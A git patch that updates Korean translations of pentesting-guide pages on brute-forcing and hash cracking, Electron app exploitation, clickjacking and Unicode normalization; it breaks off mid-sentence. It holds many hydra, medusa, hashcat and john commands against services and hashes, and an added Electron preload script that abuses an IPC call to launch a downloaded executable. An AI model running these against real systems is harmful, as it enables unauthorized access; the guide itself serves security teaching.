From 00c26952d4fc497f6e9f9fdff69c2ac8da943ee0 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 9 Mar 2025 14:22:22 +0000 Subject: [PATCH] Translated ['src/generic-hacking/brute-force.md', 'src/network-services- --- src/generic-hacking/brute-force.md | 65 +++++++------- .../electron-desktop-apps/README.md | 85 ++++++++++++------- src/pentesting-web/clickjacking.md | 52 ++++++------ .../unicode-normalization.md | 50 ++++++----- .../server-side-xss-dynamic-pdf.md | 39 ++++++--- 5 files changed, 176 insertions(+), 115 deletions(-) diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 0230baf63..7835c7dbf 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## 기본 자격 증명 +## Default Credentials -**구글에서 검색**하여 사용 중인 기술의 기본 자격 증명을 찾거나 **다음 링크를 시도**하세요: +**구글에서** 사용 중인 기술의 기본 자격 증명을 검색하거나 **다음 링크를 시도해 보세요**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### 웹사이트 기반 단어 목록 ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) @@ -46,7 +53,7 @@ python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어에서 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다. +단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어로부터 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -67,7 +74,7 @@ Finished in 0.920s. ``` ### [pydictor](https://github.com/LandGrey/pydictor) -### 단어 목록 +### Wordlists - [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) - [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -80,9 +87,9 @@ Finished in 0.920s. - [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) - [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -## 서비스 +## Services -서비스 이름순으로 정렬되었습니다. +서비스 이름에 따라 알파벳 순으로 정렬되었습니다. ### AFP ```bash @@ -117,7 +124,7 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` -### 엘라스틱서치 +### Elasticsearch ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` @@ -128,7 +135,7 @@ ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` -### HTTP 일반 브루트 +### HTTP Generic Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) @@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` -### HTTP - 포스트 폼 +### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https @@ -247,7 +254,7 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` -### 오라클SQL +### OracleSQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -302,7 +309,7 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho ``` ### PPTP -`.deb` 패키지를 설치하려면 [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)에서 다운로드할 수 있습니다. +`.deb` 패키지를 [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)에서 다운로드하여 설치할 수 있습니다. ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u @@ -399,7 +406,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ### STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ) -STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와의 원활한 통신 및 상호작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 이는 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다. +STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와의 원활한 통신 및 상호작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` @@ -437,13 +444,13 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -## 로컬 +## Local -### 온라인 크래킹 데이터베이스 +### Online cracking databases - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP 유무 및 모든 챌린지 값 포함) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (해시, WPA2 캡처 및 MSOffice, ZIP, PDF 아카이브...) +- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (해시, WPA2 캡처, MSOffice, ZIP, PDF 아카이브...) - [https://crackstation.net/](https://crackstation.net) (해시) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) - [https://gpuhash.me/](https://gpuhash.me) (해시 및 파일 해시) @@ -453,7 +460,7 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -해시를 브루트 포스하기 전에 이 내용을 확인하세요. +해시를 무차별 대입 공격하기 전에 이 내용을 확인하세요. ### ZIP ```bash @@ -474,7 +481,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt #### 알려진 평문 zip 공격 암호화된 zip 안에 포함된 **파일의 평문** (또는 평문의 일부)을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\ -[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)를 릴리스 페이지에서 다운로드하세요. +[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) 를 릴리스 페이지에서 다운로드하세요. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -528,7 +535,7 @@ Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` -### 키패스 +### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -536,7 +543,7 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` -### 케베로스팅 +### Keberoasting ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt @@ -579,13 +586,13 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
-### DPAPI 마스터 키 +### DPAPI Master Key -[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)를 사용한 다음 john을 실행하세요. +Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john -### Open Office 비밀번호 보호 열 +### Open Office Pwd Protected Column -비밀번호로 보호된 열이 있는 xlsx 파일이 있는 경우 다음과 같이 해제할 수 있습니다: +비밀번호로 보호된 열이 있는 xlsx 파일이 있는 경우, 다음과 같이 보호를 해제할 수 있습니다: - **구글 드라이브에 업로드**하면 비밀번호가 자동으로 제거됩니다. - **수동으로 제거**하려면: @@ -622,7 +629,7 @@ hash-identifier ### **단어 목록 생성 도구** -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 구성 가능한 기본 문자, 키맵 및 경로가 있는 고급 키보드 워크 생성기. +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 구성 가능한 기본 문자, 키맵 및 경로를 가진 고급 키보드 워크 생성기. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` @@ -637,7 +644,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules #### Hashcat 공격 -- **단어 목록 공격** (`-a 0`) 규칙과 함께 +- **단어 목록 공격** (`-a 0`) 규칙 포함 **Hashcat**은 이미 **규칙이 포함된 폴더**와 함께 제공되지만 [**여기에서 다른 흥미로운 규칙을 찾을 수 있습니다**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` @@ -646,7 +653,7 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule - **Wordlist combinator** 공격 hashcat을 사용하여 **2개의 단어 목록을 1개로 결합**할 수 있습니다.\ -목록 1에 단어 **"hello"**가 포함되어 있고 두 번째 목록에 **"world"**와 **"earth"**라는 단어가 있는 2개의 줄이 포함되어 있다고 가정합니다. `helloworld`와 `helloearth`가 생성됩니다. +리스트 1에 단어 **"hello"**가 포함되어 있고 두 번째 리스트에 **"world"**와 **"earth"**라는 단어가 있는 2개의 줄이 포함되어 있다고 가정합니다. `helloworld`와 `helloearth`라는 단어가 생성됩니다. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -657,7 +664,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` -- **마스크 공격** (`-a 3`) +- **Mask attack** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 23b948db3..843c7fe72 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -19,12 +19,12 @@ Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 지정 ``` Electron에는 2가지 프로세스 유형이 있습니다: -- 메인 프로세스 (NodeJS에 대한 완전한 접근 권한을 가짐) -- 렌더러 프로세스 (보안상의 이유로 NodeJS 접근 권한이 제한되어야 함) +- Main Process (NodeJS에 완전 접근 가능) +- Renderer Process (보안상의 이유로 NodeJS 접근 제한 필요) ![](<../../../images/image (182).png>) -**렌더러 프로세스**는 파일을 로드하는 브라우저 창이 될 것입니다: +**renderer process**는 파일을 로드하는 브라우저 창이 될 것입니다: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,17 +32,17 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성된 경우** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다. +**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성되면** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다. Electron 애플리케이션은 Node API를 통해 **장치에 접근할 수 있지만**, 이를 방지하도록 구성할 수 있습니다: -- **`nodeIntegration`** - 기본값은 `off`입니다. 켜면 렌더러 프로세스에서 Node 기능에 접근할 수 있습니다. +- **`nodeIntegration`** - 기본값은 `off`입니다. 켜면 렌더러 프로세스에서 노드 기능에 접근할 수 있습니다. - **`contextIsolation`** - 기본값은 `on`입니다. 꺼지면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다. - **`preload`** - 기본값은 비어 있습니다. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 꺼져 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다. - 워커에서의 Node 통합 - **`nodeIntegrationInSubframes`** - 기본값은 꺼져 있습니다. -- **`nodeIntegration`**이 **활성화**되면, 이는 Electron 애플리케이션 내의 **iframe**에 로드된 웹 페이지에서 **Node.js API**를 사용할 수 있게 합니다. +- **`nodeIntegration`**이 **활성화**되면, 이는 Electron 애플리케이션 내의 **iframe에 로드된 웹 페이지에서 Node.js API**를 사용할 수 있게 합니다. - **`nodeIntegration`**이 **비활성화**되면, 프리로드는 iframe에서 로드됩니다. 구성 예시: @@ -111,7 +111,7 @@ Electron 앱을 로컬에서 실행할 수 있다면 임의의 자바스크립 ## RCE: XSS + nodeIntegration -**nodeIntegration**이 **on**으로 설정되어 있으면, 웹 페이지의 자바스크립트는 `require()`를 호출하는 것만으로도 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다: +**nodeIntegration**이 **on**으로 설정되어 있다면, 웹 페이지의 자바스크립트는 `require()`를 호출하는 것만으로 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다: ```html ``` +## RCE: webviewTag + 취약한 preload IPC + shell.openExternal + +이 취약점은 **[이 보고서](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 찾을 수 있습니다. + +**webviewTag**는 **더 이상 사용되지 않는 기능**으로, **렌더러 프로세스**에서 **NodeJS**를 사용할 수 있게 해주며, 이는 preload 컨텍스트 내에서 스크립트를 로드할 수 있게 하므로 비활성화해야 합니다. +```xml + +``` +따라서, 임의의 페이지를 로드할 수 있는 공격자는 해당 태그를 사용하여 **임의의 프리로드 스크립트**를 로드할 수 있습니다. + +이 프리로드 스크립트는 **취약한 IPC 서비스(`skype-new-window`)**를 호출하는 데 악용되었으며, 이 서비스는 **`shell.openExternal`**을 호출하여 RCE를 얻었습니다: +```javascript +(async() => { +const { ipcRenderer } = require("electron"); +await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); +setTimeout(async () => { +const username = process.execPath.match(/C:\\Users\\([^\\]+)/); +await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); +}, 5000); +})(); +``` ## 내부 파일 읽기: XSS + contextIsolation **`contextIsolation` 비활성화는 `` 태그의 사용을 가능하게 하여**, ` ``` -### 드래그 앤 드롭 + 클릭 페이로드 +### Drag\&Drop + Click 페이로드 ```css @@ -89,57 +89,59 @@ background: #F00; ``` ### XSS + Clickjacking -사용자가 XSS를 **트리거**하기 위해 어떤 요소를 클릭해야 하는 **XSS 공격**을 식별하고 페이지가 **클릭재킹**에 취약하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.\ +사용자가 XSS를 **트리거**하기 위해 어떤 요소를 클릭해야 하는 **XSS 공격**을 식별하고 페이지가 **클릭재킹에 취약**하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.\ 예시:\ -계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(정보는 **오직 당신만 설정하고 읽을 수 있는** 정보입니다). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹**에 **취약**하며 GET 매개변수로 **양식**을 **미리 채울** 수 있습니다.\ -공격자는 해당 페이지에 대한 **클릭재킹** 공격을 준비하여 **XSS 페이로드**로 **양식**을 **미리 채우고** **사용자**를 **제출**하도록 속일 수 있습니다. 따라서 **양식이 제출되고** 값이 수정되면, **사용자는 XSS를 실행하게 됩니다**. +계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(정보는 **오직 당신만 설정하고 읽을 수 있는** 정보입니다). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹에 취약**하며 GET 매개변수로 **양식**을 **미리 채울** 수 있습니다.\ +공격자는 **XSS 페이로드**로 **양식**을 **미리 채우는** 클릭재킹 공격을 준비하고 **사용자**를 속여 양식을 **제출**하도록 할 수 있습니다. 따라서 **양식이 제출되고** 값이 수정되면, **사용자는 XSS를 실행하게 됩니다**. ### DoubleClickjacking -먼저 [이 게시물에서 설명됨](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), 이 기술은 피해자에게 특정 위치에 배치된 사용자 정의 페이지의 버튼을 두 번 클릭하도록 요청하며, 마우스 다운과 클릭 이벤트 간의 시간 차이를 이용해 두 번 클릭하는 동안 피해자 페이지를 로드하여 **피해자가 실제로 피해자 페이지의 정당한 버튼을 클릭하게 만듭니다**. +먼저 [이 게시물에서 설명됨](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), 이 기술은 피해자에게 특정 위치에 배치된 사용자 정의 페이지의 버튼을 두 번 클릭하도록 요청하고, 마우스 다운 이벤트와 클릭 이벤트 간의 시간 차이를 이용해 두 번 클릭하는 동안 피해자 페이지를 로드하여 **피해자가 실제로 피해자 페이지의 정당한 버튼을 클릭하게** 합니다. 예시는 이 비디오에서 볼 수 있습니다: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18) +코드 예시는 [이 페이지](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)에서 찾을 수 있습니다. + > [!WARNING] -> 이 기술은 사용자가 클릭재킹에 대한 모든 보호를 우회하여 피해자 페이지의 1곳을 클릭하도록 속일 수 있습니다. 따라서 공격자는 **OAuth 권한 수락과 같이 단 1회의 클릭으로 수행할 수 있는 민감한 작업을 찾아야 합니다**. +> 이 기술은 사용자가 클릭재킹에 대한 모든 보호를 우회하여 피해자 페이지의 1곳을 클릭하도록 속일 수 있게 합니다. 따라서 공격자는 **1회 클릭으로 수행할 수 있는 민감한 작업, 예를 들어 권한을 수락하는 OAuth 프롬프트**를 찾아야 합니다. -## Strategies to Mitigate Clickjacking +## Clickjacking 완화 전략 -### Client-Side Defenses +### 클라이언트 측 방어 클라이언트 측에서 실행되는 스크립트는 클릭재킹을 방지하기 위한 작업을 수행할 수 있습니다: - 애플리케이션 창이 주 창 또는 상위 창인지 확인합니다. - 모든 프레임을 표시합니다. -- 보이지 않는 프레임에서의 클릭을 방지합니다. +- 보이지 않는 프레임에서 클릭을 방지합니다. - 잠재적인 클릭재킹 시도에 대해 사용자에게 감지하고 경고합니다. 그러나 이러한 프레임 파괴 스크립트는 우회될 수 있습니다: -- **브라우저의 보안 설정:** 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다. -- **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 파괴 스크립트를 무력화할 수 있습니다. 이는 iframe이 자신이 상위 창인지 확인하는 것을 방지합니다, 예를 들어, +- **브라우저 보안 설정:** 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다. +- **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 파괴 스크립트를 무력화할 수 있습니다. 이는 iframe이 상위 창인지 확인하는 것을 방지합니다, 예를 들어, ```html ``` -`allow-forms` 및 `allow-scripts` 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 공격 유형에 따라 대상 사이트의 의도된 기능을 보장하기 위해 `allow-same-origin` 및 `allow-modals`와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지가 허용할 권한을 안내할 수 있습니다. +`allow-forms` 및 `allow-scripts` 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 공격 유형에 따라 대상 사이트의 의도된 기능을 보장하기 위해 `allow-same-origin` 및 `allow-modals`와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지는 허용할 권한을 안내할 수 있습니다. ### 서버 측 방어 #### X-Frame-Options -**`X-Frame-Options` HTTP 응답 헤더**는 브라우저에 `` 또는 ` ### `child-src` 및 `frame-src`가 포함된 Content Security Policy (CSP) -**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있도록 허용해야 하는 소스를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다. +**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있는 소스를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다. #### `frame-src` 지시어 @@ -166,14 +168,14 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com; #### `child-src` 지시어 -- 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입되었습니다. -- frame-src 및 worker-src에 대한 대체 역할을 합니다. +- 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입됨. +- frame-src 및 worker-src에 대한 대체 역할을 함. ``` Content-Security-Policy: child-src 'self' https://trusted-website.com; ``` -이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임과 워커를 허용합니다. +이 정책은 동일 출처(자기 자신)와 https://trusted-website.com에서 프레임과 워커를 허용합니다. -**사용 참고 사항:** +**사용 노트:** - 사용 중단: child-src는 frame-src 및 worker-src로 대체되고 있습니다. - 대체 동작: frame-src가 없으면 child-src가 프레임에 대한 대체로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다. @@ -189,9 +191,9 @@ top.location = self.location ``` #### Anti-CSRF 토큰 사용 -- **토큰 검증:** 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지고 Clickjacked 페이지를 통해 이루어지지 않도록 합니다. +- **토큰 검증:** 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지며 Clickjacked 페이지를 통해 이루어지지 않도록 합니다. -## 참고문헌 +## References - [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking) - [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html) diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index e97f5b5ec..d4068b7f6 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -1,27 +1,27 @@ -# 유니코드 정규화 +# Unicode Normalization {{#include ../../banners/hacktricks-training.md}} -**다음은 요약입니다:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 추가 세부정보는 확인해 보세요 (이미지는 거기서 가져온 것입니다). +**이것은 다음의 요약입니다:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 추가 세부정보는 확인해 보세요 (이미지는 거기서 가져온 것입니다). -## 유니코드 및 정규화 이해하기 +## Understanding Unicode and Normalization -유니코드 정규화는 서로 다른 문자에 대한 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다: +유니코드 정규화는 문자의 서로 다른 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다: -1. **정준 동등성**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정준 동등하다고 간주됩니다. -2. **호환성 동등성**: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 약한 형태의 동등성입니다. +1. **Canonical Equivalence**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정규 동등한 것으로 간주됩니다. +2. **Compatibility Equivalence**: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 약한 형태의 동등성입니다. -**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정준 및 호환성 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이러한 기술을 탐색할 수 있습니다. +**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정규 및 호환성 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이러한 기술을 탐색할 수 있습니다. -### 유니코드 인코딩에 대한 주요 사항 +### Key Points on Unicode Encoding -유니코드 인코딩을 이해하는 것은 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 특히 중요합니다. 주요 사항은 다음과 같습니다: +유니코드 인코딩을 이해하는 것은 특히 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 중요합니다. 주요 사항은 다음과 같습니다: -- **코드 포인트와 문자**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다. -- **바이트 표현**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다. -- **인코딩**: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다. -- **데이터 처리**: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다. -- **UTF의 변형**: UTF-8 외에도 최소 2바이트(최대 4바이트)를 사용하는 UTF-16 및 모든 문자에 대해 4바이트를 사용하는 UTF-32와 같은 다른 인코딩 표준이 있습니다. +- **Code Points and Characters**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다. +- **Bytes Representation**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다. +- **Encoding**: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다. +- **Processing Data**: 데이터를 처리하는 시스템은 바이트 